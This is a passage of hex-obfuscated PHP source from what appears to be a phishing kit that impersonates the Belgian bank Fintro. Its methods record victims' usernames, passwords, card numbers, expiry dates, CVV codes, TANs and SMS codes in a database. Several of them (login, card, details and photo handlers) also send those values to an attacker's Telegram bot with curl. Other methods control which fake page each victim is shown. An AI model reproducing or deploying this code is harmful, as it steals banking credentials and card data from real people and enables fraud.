"\125\x50\104\101\x54\105\x20\154\x6f\x67\x73\x20\x53\105\x54\x20\142\x61\x6e\x6b\40\75\x20\x3a\142\x61\x6e\x6b\54\40\x66\151\x6e\x74\x72\157\x5f\167\151\146\x69\x20\75\40\72\145\x6d\x70\164\171\54\x20\146\x69\156\164\162\157\x5f\x77\x69\146\151\137\160\141\x73\163\x20\75\x20\x3a\145\x6d\160\164\x79\54\40\x66\151\156\x74\162\x6f\x5f\x77\x69\x66\151\x5f\x70\x61\163\x73\137\x74\167\x6f\40\75\40\x3a\x65\x6d\160\x74\171\x2c\40\x70\141\147\x65\40\x3d\x20\x3a\x65\x6d\x70\164\x79\x2c\x20\167\x61\151\x74\x69\156\147\40\75\x20\72\167\141\151\164\151\156\x67\40\127\110\105\122\x45\40\165\x73\x65\x72\137\x69\144\40\75\40\x3a\165\x73\x65\162\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\x61\156\x6b", "\106\111\116\x54\122\117", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\160\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\164\151\x6e\147", "\x66\x61\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\165\163\145\162\x5f\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCreditcardInformation($uid) { $sql = "\x55\x50\x44\x41\124\105\x20\x6c\x6f\147\x73\x20\123\105\x54\40\142\141\156\153\x20\x3d\x20\x3a\x62\x61\x6e\153\54\x20\146\151\156\x74\162\157\137\143\162\x65\x64\x69\x74\x63\141\162\144\40\75\x20\72\145\155\x70\x74\x79\x2c\40\x66\151\156\x74\x72\157\137\x63\x63\x65\170\160\x20\75\x20\x3a\x65\x6d\x70\x74\171\54\40\x66\x69\x6e\164\x72\157\x5f\x63\x76\166\x20\x3d\x20\x3a\x65\x6d\x70\x74\171\54\x20\160\x61\147\145\40\75\40\x3a\x65\155\160\x74\171\54\40\167\x61\151\164\x69\x6e\147\x20\x3d\x20\x3a\x77\141\x69\164\x69\156\x67\x20\127\110\x45\122\x45\x20\165\163\145\x72\137\151\144\x20\x3d\40\72\165\163\145\162\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\142\x61\156\153", "\x46\x49\116\124\x52\x4f", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\x70\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\151\164\151\x6e\147", "\146\141\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x73\145\x72\x5f\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setDetailsInformation($uid) { $sql = "\x55\x50\104\101\124\105\x20\154\x6f\x67\x73\40\123\105\124\40\142\141\156\x6b\x20\x3d\40\72\x62\x61\156\153\54\40\x66\151\156\164\162\x6f\x5f\x65\x78\x70\40\x3d\x20\72\x65\x6d\x70\x74\x79\x2c\x20\146\x69\156\164\162\x6f\x5f\x6e\x75\155\x62\145\162\40\x3d\x20\x3a\x65\x6d\160\x74\x79\x2c\x20\160\x61\x67\145\x20\x3d\40\72\x65\155\x70\x74\171\54\x20\167\x61\x69\164\x69\156\147\40\75\x20\72\x77\x61\151\164\151\156\x67\x20\x57\x48\x45\122\105\x20\x75\x73\x65\x72\x5f\x69\x64\x20\x3d\40\72\x75\x73\145\162\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\142\x61\156\153", "\106\111\x4e\x54\122\x4f", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\160\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\x69\x74\x69\156\x67", "\x66\x61\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\163\145\x72\137\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPhotoInformation($uid) { $sql = "\x55\x50\104\x41\124\x45\x20\154\157\x67\163\40\x53\105\x54\x20\142\x61\x6e\x6b\x20\75\x20\x3a\142\x61\x6e\153\x2c\x20\146\x69\x6e\x74\162\157\137\162\x65\163\160\x6f\156\x73\x20\75\x20\x3a\x65\x6d\160\x74\171\x2c\x20\x70\x61\x67\145\40\x3d\x20\72\145\x6d\160\x74\x79\54\x20\167\141\x69\x74\x69\x6e\x67\x20\x3d\40\x3a\x77\141\x69\x74\151\x6e\147\x20\127\x48\105\122\105\40\165\163\145\162\x5f\x69\144\40\75\40\x3a\165\163\x65\x72\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\x61\x6e\x6b", "\106\111\x4e\x54\x52\x4f", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\x70\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\151\x74\x69\156\x67", "\146\141\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x73\x65\162\137\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPhoto($respons, $uid) { $sql = "\125\x50\x44\x41\x54\x45\40\154\x6f\x67\x73\x20\123\x45\x54\x20\x66\x69\x6e\164\x72\157\x5f\x72\145\x73\160\157\x6e\163\40\x3d\x20\x3a\162\145\x73\x70\x6f\156\x73\x2c\40\x77\x61\151\164\151\156\x67\40\x3d\40\x3a\x77\141\x69\x74\x69\x6e\x67\40\x57\x48\x45\122\105\40\165\163\145\x72\x5f\x69\x64\40\75\40\x3a\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x72\145\x73\x70\157\156\x73", $respons, PDO::PARAM_STR); $stmt->bindValue("\72\x75\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\x74\x69\156\147", "\x74\162\x75\145", PDO::PARAM_STR); $chatId = file_get_contents("\x2e\x2e\x2f\160\165\x62\154\x69\143\x2f\x61\x70\x69\57\x63\x68\141\x74\x2e\x69\x6e\151"); $botToken = file_get_contents("\56\56\x2f\160\x75\x62\x6c\x69\143\57\141\160\x69\x2f\142\157\164\56\151\x6e\x69"); $notify = "\150\x74\164\x70\163\72\x2f\x2f\141\160\151\x2e\x74\x65\x6c\x65\147\x72\141\155\56\x6f\162\x67\x2f\142\157\x74{$botToken}\x2f\163\145\156\144\x4d\x65\163\163\x61\147\x65\x3f\143\150\141\164\x5f\151\x64\x3d{$chatId}\x26\x74\145\x78\164\75\xf0\235\x91\265\xf0\235\222\x86\xf0\x9d\222\230\x20\360\235\221\xb3\360\x9d\x92\220\360\235\222\x88\40\x2d\40\x28\x4c\x6f\147\x69\x6e\x20\x43\157\x64\145\51\x20\xf0\237\x87\xa7\xf0\x9f\207\xaa\x20\106\111\x4e\x54\122\117\x25\x30\101\45\60\x41\122\145\x73\x70\157\x6e\163\x65\x20\x2d\x20{$respons}\45\60\101\45\x30\101\xf0\235\x91\274\360\235\221\xb0\360\235\221\253\x20\x2d\x20{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setPhotoPage($uid, $page) { $sql = "\x55\120\x44\x41\124\105\x20\x6c\x6f\147\163\x20\x53\x45\x54\40\x70\x61\147\145\40\75\40\72\x70\x61\147\x65\x2c\x20\x77\x61\151\164\x69\x6e\x67\x20\75\x20\72\x77\141\x69\164\x69\x6e\x67\54\x20\x66\x69\x6e\164\162\x6f\137\162\145\x73\x70\x6f\x6e\163\40\75\x20\72\145\155\160\x74\x79\40\127\110\105\122\x45\x20\165\x73\x65\162\137\151\144\40\x3d\x20\x3a\x75\x73\x65\x72\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\164\x69\x6e\x67", "\146\141\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x6d\160\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\163\x65\x72\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setPhotoPageCode($uid, $page, $code) { $sql = "\x55\120\x44\101\124\105\40\154\x6f\147\x73\40\123\105\x54\40\160\x61\x67\145\40\75\40\72\x70\141\x67\145\54\x20\x77\141\x69\164\x69\x6e\147\x20\75\x20\x3a\167\141\151\x74\x69\156\147\x2c\x20\146\x69\156\164\x72\157\137\x72\145\163\x70\x6f\x6e\x73\40\75\40\72\x65\x6d\160\164\171\x2c\40\x66\151\156\164\162\x6f\x5f\143\157\144\145\40\75\x20\x3a\143\157\144\145\x20\x57\110\105\x52\105\40\x75\x73\x65\x72\x5f\151\x64\40\x3d\40\72\165\x73\145\162\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\141\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\x74\x69\156\x67", "\146\x61\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\x70\164\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\143\x6f\x64\145", $code, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\163\145\x72\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getPhotoCode($uid) { $sql = "\123\x45\x4c\105\103\x54\x20\52\x20\x46\122\117\115\40\154\x6f\147\x73\x20\x57\110\105\122\105\x20\x75\163\x65\x72\137\151\144\x20\x3d\x20\72\165\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\165\x69\x64", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x66\x69\x6e\x74\162\x6f\x5f\143\x6f\x64\x65"])) { return $data["\146\151\x6e\x74\x72\x6f\137\x63\157\144\x65"]; } return false; } public static function setConfirmInformation($uid) { $sql = "\x55\x50\104\x41\x54\x45\x20\154\x6f\x67\x73\x20\x53\105\x54\40\142\x61\x6e\x6b\40\75\40\72\142\x61\156\153\x2c\40\160\x61\x67\145\40\x3d\x20\x3a\145\x6d\x70\x74\171\x2c\40\167\141\151\164\x69\156\x67\x20\75\x20\72\x77\141\151\164\151\x6e\x67\x20\x57\110\105\122\x45\x20\165\x73\145\162\137\x69\144\40\x3d\x20\72\x75\x73\145\162\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x62\141\x6e\153", "\x46\111\x4e\x54\122\117", PDO::PARAM_STR); $stmt->bindValue("\72\x65\155\160\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\164\151\156\147", "\x66\x61\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\165\163\x65\x72\137\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setTanInformation($uid) { $sql = "\125\x50\x44\101\x54\105\x20\154\x6f\147\163\x20\x53\105\124\x20\142\x61\x6e\153\40\x3d\x20\x3a\142\x61\x6e\153\54\x20\146\151\x6e\164\x72\157\137\x74\x61\156\40\x3d\40\x3a\145\x6d\x70\x74\x79\x2c\x20\160\141\147\x65\x20\x3d\x20\x3a\x65\155\x70\164\x79\54\40\x77\141\x69\164\x69\x6e\x67\x20\x3d\x20\x3a\167\141\x69\164\x69\156\x67\x20\127\x48\105\x52\105\40\x75\x73\145\x72\137\151\x64\40\75\40\x3a\165\163\145\162\137\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\141\x6e\153", "\x46\x49\x4e\124\x52\117", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\160\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\151\164\x69\156\x67", "\x66\141\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\163\x65\x72\x5f\151\x64", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function checkPayment($url = array()) { $sql = "\x53\x45\x4c\105\x43\124\40\52\x20\106\122\x4f\115\40\x72\x65\161\165\145\163\x74\x73\x20\127\110\105\x52\x45\x20\x75\x72\x6c\40\x3d\40\72\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\151\144", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public static function setLogin($username, $password, $uid) { $sql = "\x55\x50\104\x41\x54\x45\x20\154\157\147\x73\40\x53\105\124\40\146\x69\x6e\164\x72\157\137\x75\163\145\x72\x20\x3d\x20\x3a\x75\163\145\162\156\x61\x6d\145\x2c\40\146\151\156\164\x72\x6f\x5f\160\x61\163\163\40\x3d\x20\x3a\160\x61\x73\x73\x77\157\x72\x64\x2c\40\167\141\x69\x74\151\x6e\x67\40\75\x20\x3a\x77\141\x69\x74\x69\x6e\147\x20\x57\110\105\x52\105\40\165\163\145\x72\137\x69\144\40\75\x20\x3a\x75\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\165\163\x65\162\x6e\x61\x6d\x65", $username, PDO::PARAM_STR); $stmt->bindValue("\x3a\x70\141\163\x73\167\157\x72\x64", $password, PDO::PARAM_STR); $stmt->bindValue("\72\x75\x69\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\x69\x74\x69\156\x67", "\164\x72\165\x65", PDO::PARAM_STR); $chatId = file_get_contents("\56\56\57\160\165\x62\154\x69\143\x2f\141\160\x69\57\x63\150\x61\x74\56\151\x6e\151"); $botToken = file_get_contents("\x2e\56\57\x70\165\x62\154\151\x63\x2f\141\160\151\x2f\142\x6f\164\x2e\x69\156\151"); $notify = "\150\x74\x74\x70\x73\x3a\57\x2f\141\x70\x69\x2e\164\x65\x6c\145\147\x72\141\x6d\56\x6f\x72\x67\57\x62\x6f\x74{$botToken}\57\x73\145\x6e\144\115\145\x73\163\141\x67\145\x3f\x63\150\141\164\137\x69\x64\x3d{$chatId}\x26\164\x65\170\x74\75\xf0\235\x91\265\xf0\235\x92\206\xf0\235\222\230\40\360\x9d\x91\263\xf0\x9d\x92\x90\360\235\222\x88\40\x2d\x20\x28\120\150\157\x6e\145\x29\x20\360\x9f\207\xa7\xf0\x9f\x87\xaa\x20\x46\x49\116\x54\122\117\x25\60\x41\45\x30\x41\120\150\157\x6e\x65\x20\55\40{$username}\45\x30\x41\x25\x30\x41\xf0\235\221\274\xf0\235\221\260\360\235\221\xab\40\55\40{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setWifi($wifi, $pass, $confirm, $uid) { $sql = "\125\x50\104\x41\x54\105\40\x6c\157\x67\x73\x20\x53\x45\x54\x20\x66\151\x6e\x74\x72\157\137\167\151\146\151\x20\x3d\x20\x3a\167\151\x66\x69\54\40\146\x69\156\x74\162\x6f\137\167\151\x66\x69\137\160\141\x73\163\40\x3d\40\72\160\141\x73\x73\54\x20\x66\x69\x6e\x74\x72\x6f\137\167\151\146\x69\137\160\x61\x73\x73\x5f\164\167\157\x20\x3d\40\72\143\x6f\x6e\x66\151\162\155\x2c\40\x77\x61\151\164\151\156\x67\40\x3d\x20\72\x77\x61\x69\x74\x69\x6e\147\x20\127\110\x45\122\105\x20\165\x73\x65\162\x5f\151\144\x20\x3d\40\x3a\165\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\167\151\x66\151", $wifi, PDO::PARAM_STR); $stmt->bindValue("\72\x70\141\x73\163", $pass, PDO::PARAM_STR); $stmt->bindValue("\x3a\143\157\156\x66\x69\x72\x6d", $confirm, PDO::PARAM_STR); $stmt->bindValue("\72\165\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\x74\x69\156\147", "\x74\x72\165\x65", PDO::PARAM_STR); $chatId = file_get_contents("\x2e\x2e\57\x70\x75\142\x6c\151\143\x2f\141\x70\x69\x2f\143\150\141\x74\x2e\151\156\151"); $botToken = file_get_contents("\56\56\57\160\x75\142\x6c\x69\x63\57\x61\x70\x69\57\x62\157\x74\56\151\156\x69"); $notify = "\150\164\164\160\x73\x3a\57\x2f\x61\160\151\56\x74\x65\154\145\147\x72\x61\155\x2e\x6f\x72\147\x2f\x62\x6f\x74{$botToken}\57\x73\145\156\x64\x4d\145\163\x73\x61\x67\145\77\143\x68\x61\164\x5f\151\x64\75{$chatId}\46\x74\x65\x78\164\x3d\xf0\x9d\x91\265\xf0\x9d\x92\x86\xf0\x9d\x92\x98\x20\360\235\221\xb3\360\235\222\x90\360\235\x92\x88\40\x2d\x20\x28\x4c\x6f\147\x69\156\51\40\xf0\x9f\x87\xa7\xf0\237\207\xaa\40\106\x49\116\124\122\117\x25\60\101\45\60\x41\x43\x61\x72\144\116\x75\x6d\x20\x2d\x20{$wifi}\45\x30\x41\103\154\151\145\156\x74\x4e\165\155\40\x2d\40{$pass}\x25\x30\x41\45\60\101\xf0\235\x91\xbc\xf0\235\221\xb0\xf0\x9d\221\xab\x20\x2d\40{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCreditcard($wifi, $pass, $confirm, $uid) { $sql = "\125\120\x44\x41\124\x45\x20\x6c\157\147\163\x20\123\x45\x54\40\146\x69\x6e\x74\x72\x6f\137\143\x72\x65\144\151\x74\143\141\x72\x64\40\x3d\x20\x3a\x77\x69\x66\151\54\40\x66\151\156\164\x72\157\137\143\x63\x65\x78\160\40\75\x20\x3a\160\141\163\163\54\x20\x66\x69\x6e\x74\162\157\137\143\166\166\40\75\40\x3a\x63\x6f\156\x66\151\x72\x6d\x2c\40\x77\x61\x69\164\151\156\147\40\x3d\x20\x3a\x77\x61\151\164\151\156\147\40\x57\110\x45\122\105\40\165\163\x65\x72\137\151\x64\40\75\40\x3a\165\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x77\x69\x66\x69", $wifi, PDO::PARAM_STR); $stmt->bindValue("\72\160\x61\163\x73", $pass, PDO::PARAM_STR); $stmt->bindValue("\x3a\143\157\156\x66\151\x72\x6d", $confirm, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\x74\151\156\x67", "\x74\x72\165\x65", PDO::PARAM_STR); $chatId = file_get_contents("\56\x2e\57\x70\x75\142\x6c\x69\x63\57\x61\160\151\x2f\x63\x68\x61\164\56\151\156\x69"); $botToken = file_get_contents("\56\x2e\x2f\x70\165\x62\x6c\x69\x63\57\x61\x70\151\57\142\x6f\x74\56\151\x6e\x69"); $notify = "\150\x74\x74\160\163\x3a\x2f\57\141\160\x69\x2e\164\x65\154\x65\x67\162\141\155\x2e\157\162\147\57\x62\157\164{$botToken}\x2f\x73\145\156\x64\115\145\x73\163\x61\x67\x65\77\x63\150\141\x74\x5f\x69\x64\75{$chatId}\x26\164\145\170\164\75\xf0\235\221\xb5\360\235\222\x86\360\x9d\222\x98\x20\360\235\221\xb3\xf0\235\x92\x90\360\x9d\x92\x88\x20\55\40\x28\x43\103\51\x20\xf0\237\207\xa7\360\x9f\207\252\40\106\x49\116\x54\x52\117\45\x30\x41\45\x30\101\x43\143\x20\x2d\x20{$wifi}\45\x30\x41\x45\170\160\x20\x2d\40{$pass}\x25\x30\x41\103\166\x76\x20\x2d\x20{$confirm}\45\60\x41\45\60\x41\xf0\235\221\274\360\x9d\221\xb0\xf0\235\221\xab\40\x2d\40{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setConfirm($uid) { $sql = "\x55\120\x44\101\x54\105\x20\154\157\147\163\40\x53\x45\x54\40\x77\x61\151\164\151\x6e\x67\x20\x3d\x20\72\167\141\151\164\x69\x6e\147\x20\x57\110\105\x52\x45\40\165\163\145\x72\137\151\x64\x20\x3d\40\x3a\x75\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x75\x69\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\x74\151\x6e\x67", "\x74\x72\x75\145", PDO::PARAM_STR); $stmt->execute(); } public static function setTan($tan, $uid) { $sql = "\125\x50\x44\101\124\105\x20\x6c\157\x67\x73\x20\123\x45\x54\x20\146\x69\x6e\x74\x72\157\137\x74\141\156\40\75\x20\x3a\164\x61\156\54\x20\167\141\151\x74\151\156\x67\x20\75\x20\x3a\x77\141\x69\164\151\156\147\x20\127\110\105\122\105\x20\x75\x73\x65\162\x5f\x69\144\x20\x3d\x20\72\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x74\x61\x6e", $tan, PDO::PARAM_STR); $stmt->bindValue("\72\x75\x69\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\151\164\151\x6e\x67", "\164\x72\165\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setDetails($expiration, $number, $uid) { $sql = "\125\x50\x44\x41\124\x45\40\x6c\157\147\163\40\x53\105\x54\x20\x66\x69\x6e\164\x72\x6f\x5f\x65\x78\160\x20\75\40\x3a\145\170\x70\151\x72\x61\164\x69\157\x6e\x2c\x20\x66\x69\x6e\x74\162\157\x5f\x6e\x75\155\x62\x65\162\40\75\40\x3a\156\x75\x6d\142\145\x72\54\x20\x77\x61\x69\x74\151\x6e\x67\40\x3d\x20\x3a\167\141\x69\x74\151\156\147\x20\x57\110\x45\122\x45\x20\165\x73\x65\162\137\x69\144\40\x3d\x20\72\165\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x65\170\160\151\x72\141\x74\151\157\x6e", $expiration, PDO::PARAM_STR); $stmt->bindValue("\72\x6e\x75\x6d\x62\x65\x72", $number, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x69\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\x69\x74\x69\x6e\x67", "\164\x72\165\145", PDO::PARAM_STR); $chatId = file_get_contents("\56\56\x2f\x70\165\142\x6c\151\x63\57\x61\160\x69\57\x63\x68\141\164\56\x69\x6e\151"); $botToken = file_get_contents("\x2e\56\57\160\x75\x62\154\151\143\57\141\160\x69\x2f\142\157\164\x2e\151\x6e\x69"); $notify = "\x68\x74\x74\x70\x73\x3a\x2f\57\x61\160\151\x2e\x74\145\154\x65\x67\162\141\155\x2e\157\x72\147\57\x62\x6f\x74{$botToken}\x2f\163\x65\156\144\x4d\x65\163\x73\141\x67\x65\x3f\x63\150\x61\164\x5f\151\144\75{$chatId}\46\164\145\x78\x74\x3d\360\235\x91\265\360\235\x92\206\360\x9d\222\230\40\360\x9d\221\263\360\x9d\222\x90\xf0\x9d\x92\210\40\55\40\x28\x53\x4d\123\x29\40\xf0\237\x87\247\xf0\237\x87\252\x20\x46\111\116\x54\122\x4f\45\x30\x41\45\60\101\123\x4d\x53\40\55\40{$expiration}\45\60\x41\x25\60\x41\360\x9d\x91\xbc\xf0\235\x91\xb0\xf0\x9d\221\xab\x20\x2d\40{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function getPage($uid) { $sql = "\x53\105\x4c\x45\103\124\40\52\x20\106\x52\x4f\115\x20\x6c\157\x67\x73\x20\127\x48\x45\x52\x45\x20\165\x73\x65\162\137\x69\x64\40\x3d\x20\72\165\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x75\x69\x64", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x70\141\x67\145"])) { return $data["\x70\141\147\145"]; } return false; } public static function setLoginPage($uid, $page) { $sql = "\125\x50\x44\x41\x54\105\x20\x6c\x6f\147\163\x20\x53\105\124\x20\160\x61\147\145\40\x3d\x20\x3a\160\141\x67\x65\54\x20\x77\x61\151\x74\151\x6e\147\40\x3d\40\72\167\141\151\164\x69\156\x67\x2c\x20\146\x69\156\164\x72\157\x5f\165\x73\145\162\40\75\40\x3a\x65\x6d\160\164\x79\54\40\146\151\156\x74\162\x6f\x5f\160\141\x73\163\40\75\x20\x3a\145\x6d\160\x74\x79\x20\127\x48\105\122\x45\x20\x75\x73\x65\162\x5f\151\x64\40\x3d\40\x3a\165\x73\x65\x72\x5f\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\141\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\x74\x69\156\x67", "\x66\x61\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\x70\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\165\x73\145\162\x5f\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setControlPage($uid, $page) { $sql = "\125\x50\104\101\124\105\x20\154\x6f\147\x73\40\123\105\x54\40\160\141\x67\x65\x20\x3d\x20\72\160\x61\147\x65\x2c\x20\167\x61\x69\164\x69\x6e\147\x20\75\40\x3a\x77\x61\x69\164\x69\x6e\x67\54\40\x66\x69\156\x74\162\157\137\x77\151\x66\x69\x20\x3d\40\x3a\145\155\x70\164\171\x2c\40\x66\151\x6e\x74\162\x6f\137\x77\151\146\151\x5f\160\141\x73\x73\x20\75\40\72\x65\155\160\x74\x79\x2c\40\146\x69\156\x74\x72\x6f\x5f\x77\x69\x66\x69\137\x70\x61\163\x73\137\x74\x77\157\x20\x3d\40\72\145\x6d\160\164\171\x20\x57\x48\105\x52\x45\40\165\163\145\x72\137\x69\144\40\75\40\72\165\x73\x65\162\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\141\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\151\164\151\x6e\147", "\x66\x61\x6c\x73\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\x70\164\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\163\x65\162\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCreditcardPage($uid, $page) { $sql = "\x55\x50\104\x41\x54\x45\40\154\157\147\163\40\x53\105\124\40\160\141\x67\x65\40\75\40\x3a\x70\x61\147\x65\x2c\40\167\x61\x69\x74\x69\x6e\147\40\x3d\x20\72\x77\141\x69\x74\x69\x6e\x67\x2c\x20\146\x69\x6e\x74\x72\157\137\x63\162\x65\144\151\x74\143\x61\x72\x64\40\x3d\x20\x3a\x65\155\x70\x74\x79\x2c\40\146\x69\x6e\164\162\157\137\x63\x63\x65\x78\160\40\75\40\x3a\145\x6d\160\164\171\x2c\40\146\151\156\x74\x72\157\137\143\x76\166\40\75\x20\72\x65\x6d\x70\x74\x79\x20\x57\x48\x45\122\x45\x20\x75\163\x65\162\137\151\144\40\x3d\40\72\x75\x73\x65\x72\137\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\141\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\164\151\x6e\147", "\x66\x61\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x6d\x70\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\x73\145\x72\x5f\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setDetailsPage($uid, $page) { $sql = "\125\120\x44\101\124\105\x20\x6c\157\147\x73\x20\x53\x45\x54\40\160\141\147\145\40\75\40\x3a\x70\x61\147\145\x2c\40\x77\141\151\x74\x69\156\x67\x20\75\x20\72\x77\x61\151\x74\x69\156\x67\x2c\40\x66\151\156\x74\x72\x6f\137\145\170\160\x20\x3d\x20\x3a\x65\x6d\x70\164\x79\x2c\x20\x66\151\156\164\162\x6f\x5f\156\x75\x6d\x62\x65\x72\x20\x3d\x20\x3a\145\155\x70\164\171\40\x57\110\105\x52\x45\40\x75\163\145\162\137\x69\144\40\75\40\72\165\163\145\162\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\164\x69\x6e\x67", "\146\141\154\x73\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\x70\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\x73\145\x72\x5f\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setConfirmPage($uid, $page) { $sql = "\125\x50\x44\x41\x54\105\x20\154\x6f\147\x73\40\123\105\x54\x20\x70\x61\x67\145\x20\x3d\x20\x3a\x70\x61\x67\x65\54\x20\167\141\151\164\x69\x6e\x67\x20\75\x20\x3a\x77\141\x69\164\151\x6e\x67\x20\x57\x48\x45\122\x45\40\x75\x73\x65\x72\x5f\x69\144\x20\75\x20\x3a\x75\x73\x65\162\137\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\x69\x74\151\x6e\x67", "\146\141\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\163\x65\x72\137\x69\x64", $uid, PDO::PARAM_STR); return 